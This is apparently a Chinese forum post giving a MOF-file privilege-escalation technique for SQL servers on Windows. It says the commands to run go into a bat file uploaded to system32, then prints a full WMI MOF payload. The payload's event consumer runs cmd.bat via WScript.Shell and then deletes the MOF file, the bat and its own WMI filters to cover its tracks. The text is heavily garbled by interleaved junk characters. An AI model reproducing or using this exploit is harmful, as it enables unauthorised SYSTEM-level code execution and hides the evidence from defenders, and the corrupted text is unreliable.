这个sql提权MOF需要运行 system下的文件,不能定义路径。
1 ]- ^: Z$ }; M5 o需要将要运行的命令写入到bat上传到system32目录,然后执行。1 r% T: q1 R& ?+ n- _. J# L
5 T0 J8 v" C; S
这个sql提权MOF需要运行 system下的文件,不能定义路径。# W# i8 W3 [8 b" Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
8 I1 \. ], h1 I2 A: @) b' A# k9 g( k
9 u3 s) M/ [. r1 _) m: O#pragma" G( s6 p) k& g: Z$ H5 v, v
namespace("\\\\.\\root\\cimv2")* t' S8 N& B5 t3 D4 [
class
2 F) e9 C( {: e; l/ u MyClass5473 W' S7 L! w# n' r0 B
{ [key]
6 _/ q4 z! Q! Z8 ~$ `9 i string; x7 S' u* P$ r' n; m/ E
Name;
( e( Y# f0 N; N6 k };: q* f8 X1 B5 K# H1 M6 J% n
class
) L7 @, E9 x) [* A# Q. C* g; J ActiveScriptEventConsumer8 ]0 P; H" Q$ s5 g, r3 b
: __EventConsumer { [key]
$ o) N. j& l" e V& g string
: c: ~- }2 z& A Name; [not_null]
0 G1 L" E8 F- r/ e9 i8 Z- @( M. h string
4 B7 n0 Q C* {: k' i9 \: E* Y7 O ScriptingEngine; string
8 F6 ~1 N u4 w, J9 M& K ScriptFileName; [template]: `# D2 [6 |/ K1 S) B- R
string
2 y/ z4 i/ N3 {1 D- ? ScriptText; uint32 KillTimeout;# f1 b8 a5 E* O, T5 [" K+ C h) f+ I
}; instance of __Win32Provider as $P {. l) L) l) N( M& `% t
Name
( u3 Z( v1 ], m& K- H =( {! A) v8 G) a, ~ ~2 P9 q
"ActiveScriptEventConsumer"; CLSID =$ t$ V. J; z! q+ @! m+ L" l4 I+ {+ t
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
1 J; [% v9 G2 Q0 [ PerUserInitialization+ l1 T8 K+ Y$ G* H, ?4 |4 q
= TRUE;
+ E K5 r; t9 p4 E0 K }; instance of __EventConsumerProviderRegistration { Provider: y6 l3 g9 x8 K" q$ B. J
= $P; ConsumerClassNames& B m2 ]7 Z6 _1 P2 G% e# }: Z8 { D9 n
=/ E( D/ n- G$ L2 K
{"ActiveScriptEventConsumer"};
3 f. u( X) M- p };1 q. A' v; S+ }5 u: ~
Instance of ActiveScriptEventConsumer: O& x" ?4 @4 S7 a+ U
as $cons { Name# v; a- @. p: z8 N( @2 q
=- \: F1 v8 D9 B G# A" C
"ASEC"; ScriptingEngine
# u5 n1 M3 u5 n6 F+ Y5 m" M+ e! ~ =' V O) a7 a- L% _4 F, A
"JScript"; ScriptText( }3 y8 s/ P3 R8 M
=& z$ N9 S# p( `, e
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
6 H& j+ ?3 g9 _% D! G& t Instance of ActiveScriptEventConsumer, D3 D4 M$ s' j8 S5 M. @
as $cons2 { Name
9 h4 d/ s: z# o- Q0 A( b/ W =# h. ~1 ]# E+ N9 C4 o2 G
"qndASEC"; ScriptingEngine3 p* V9 Q% }2 l! L2 L7 @
=
; e' d/ t) ]1 M* `0 [. X K "JScript"; ScriptText
" b# o3 [) ?4 a% e7 M1 A =9 s& \$ e& k/ k8 j2 O
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";9 J. x$ G0 {% v4 }( S. B \
}; instance of __EventFilter as $Filt { Name
4 h2 W/ I4 i$ E% O =
1 T( A! j$ [7 B, D9 V& f# R- b6 h "instfilt"; Query3 e9 |. A, Y, T, p
=1 x% E3 k7 e% m, ]9 x7 h, w7 X
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
0 y+ i- i3 p. }* G/ c9 P0 g =
# ?" s( N0 j, F/ E1 K5 _ "WQL"; }; instance of __EventFilter as $Filt2 { Name
8 {# s" z, a7 r. Z% e6 p, j( \ = @% P* E/ o: A7 M7 ^# x6 i
"qndfilt"; Query
0 \4 d- e3 p: P0 f2 }% B =
+ h' E+ i# Z; ^( @6 [ "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage1 \* W) Q4 O w: ?, D. b
=$ x+ W- G' M6 b) l4 E
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
( V5 k/ \( e9 ^) v = $cons; Filter4 e A& Y) i) C) Z
= $Filt;
- H& ]' R$ S2 s }; instance of __FilterToConsumerBinding as $bind2 { Consumer
/ |1 h2 |* ~$ B = $cons2; Filter
- E1 w' }: x" r/ O = $Filt2;8 ~- @ H7 v3 G7 X' n
}; instance of MyClass547
" q* H; m+ j; C% Y V8 @ as $MyClass { Name
' K# f( G( b N* w7 n: ` =: d5 ^5 J0 E2 c* U9 w* ]0 Z
"ClassConsumer";
i8 E9 C& P% C$ o6 V }; |